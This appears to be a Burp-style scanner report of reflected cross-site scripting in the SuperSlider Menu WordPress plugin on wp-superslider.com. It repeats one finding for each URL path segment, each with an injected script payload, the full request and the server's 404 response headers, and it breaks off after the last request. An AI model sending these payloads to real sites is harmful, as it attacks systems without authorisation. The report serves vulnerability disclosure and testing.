The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d618f"><script>alert(1)</script>b5bbe65fee5 was submitted in the REST URL parameter 1. This input was echoed as d618f\"><script>alert(1)</script>b5bbe65fee5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sited618f"><script>alert(1)</script>b5bbe65fee5/wp-content/plugins/superslider-menu/js/superslider-menu-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:40 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674561+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674561; expires=Thu, 02-Feb-2012 19:22:41 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:41 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53371
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed395"><script>alert(1)</script>4ecb0a29794 was submitted in the REST URL parameter 2. This input was echoed as ed395\"><script>alert(1)</script>4ecb0a29794 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contented395"><script>alert(1)</script>4ecb0a29794/plugins/superslider-menu/js/superslider-menu-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:42 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674563+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674563; expires=Thu, 02-Feb-2012 19:22:43 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:43 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53371
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf143"><script>alert(1)</script>7ab2e0b1bf was submitted in the REST URL parameter 3. This input was echoed as bf143\"><script>alert(1)</script>7ab2e0b1bf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginsbf143"><script>alert(1)</script>7ab2e0b1bf/superslider-menu/js/superslider-menu-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:44 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674565+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674565; expires=Thu, 02-Feb-2012 19:22:45 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:45 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53368
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b82fc"><script>alert(1)</script>dedd8e0a44b was submitted in the REST URL parameter 4. This input was echoed as b82fc\"><script>alert(1)</script>dedd8e0a44b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menub82fc"><script>alert(1)</script>dedd8e0a44b/js/superslider-menu-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:47 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674568+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674568; expires=Thu, 02-Feb-2012 19:22:48 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:48 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53371
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e75ce"><script>alert(1)</script>115e8e28446 was submitted in the REST URL parameter 5. This input was echoed as e75ce\"><script>alert(1)</script>115e8e28446 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/jse75ce"><script>alert(1)</script>115e8e28446/superslider-menu-min.js HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:49 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674569+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674569; expires=Thu, 02-Feb-2012 19:22:49 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:49 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53371
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca307"><script>alert(1)</script>082b33d15a1 was submitted in the REST URL parameter 6. This input was echoed as ca307\"><script>alert(1)</script>082b33d15a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/js/superslider-menu-min.jsca307"><script>alert(1)</script>082b33d15a1 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:51 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674571+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674571; expires=Thu, 02-Feb-2012 19:22:51 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:51 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53371
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 972b5"><script>alert(1)</script>c3df305ca7c was submitted in the REST URL parameter 1. This input was echoed as 972b5\"><script>alert(1)</script>c3df305ca7c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site972b5"><script>alert(1)</script>c3df305ca7c/wp-content/plugins/superslider-menu/plugin-data/superslider/ssMenu/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:40 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674561+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674561; expires=Thu, 02-Feb-2012 19:22:41 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:41 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53444
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60b3e"><script>alert(1)</script>54f1bceee82 was submitted in the REST URL parameter 2. This input was echoed as 60b3e\"><script>alert(1)</script>54f1bceee82 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content60b3e"><script>alert(1)</script>54f1bceee82/plugins/superslider-menu/plugin-data/superslider/ssMenu/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:42 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674562+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674563; expires=Thu, 02-Feb-2012 19:22:43 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:43 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e84f7"><script>alert(1)</script>c0fd9f27655 was submitted in the REST URL parameter 3. This input was echoed as e84f7\"><script>alert(1)</script>c0fd9f27655 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginse84f7"><script>alert(1)</script>c0fd9f27655/superslider-menu/plugin-data/superslider/ssMenu/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:44 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674564+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674564; expires=Thu, 02-Feb-2012 19:22:44 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:44 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b31fa"><script>alert(1)</script>eb994eb117d was submitted in the REST URL parameter 4. This input was echoed as b31fa\"><script>alert(1)</script>eb994eb117d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menub31fa"><script>alert(1)</script>eb994eb117d/plugin-data/superslider/ssMenu/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:45 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674565+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674565; expires=Thu, 02-Feb-2012 19:22:45 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:45 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3ab5"><script>alert(1)</script>b3f3e43ffe4 was submitted in the REST URL parameter 5. This input was echoed as b3ab5\"><script>alert(1)</script>b3f3e43ffe4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/plugin-datab3ab5"><script>alert(1)</script>b3f3e43ffe4/superslider/ssMenu/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:47 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674567+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674567; expires=Thu, 02-Feb-2012 19:22:47 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:48 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53442
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a4e7"><script>alert(1)</script>bc1d9122022 was submitted in the REST URL parameter 6. This input was echoed as 8a4e7\"><script>alert(1)</script>bc1d9122022 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/plugin-data/superslider8a4e7"><script>alert(1)</script>bc1d9122022/ssMenu/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:49 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674569+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674569; expires=Thu, 02-Feb-2012 19:22:49 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:49 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93e26"><script>alert(1)</script>3ef7b7b12e4 was submitted in the REST URL parameter 7. This input was echoed as 93e26\"><script>alert(1)</script>3ef7b7b12e4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/plugin-data/superslider/ssMenu93e26"><script>alert(1)</script>3ef7b7b12e4/default/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:50 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674570+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674571; expires=Thu, 02-Feb-2012 19:22:51 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:51 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e93d9"><script>alert(1)</script>b1176fcac2 was submitted in the REST URL parameter 8. This input was echoed as e93d9\"><script>alert(1)</script>b1176fcac2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/plugin-data/superslider/ssMenu/defaulte93d9"><script>alert(1)</script>b1176fcac2/default.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:52 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674572+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674573; expires=Thu, 02-Feb-2012 19:22:53 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:53 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53440
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d43c"><script>alert(1)</script>997d41182e2 was submitted in the REST URL parameter 9. This input was echoed as 5d43c\"><script>alert(1)</script>997d41182e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider-menu/plugin-data/superslider/ssMenu/default/default.css5d43c"><script>alert(1)</script>997d41182e2 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
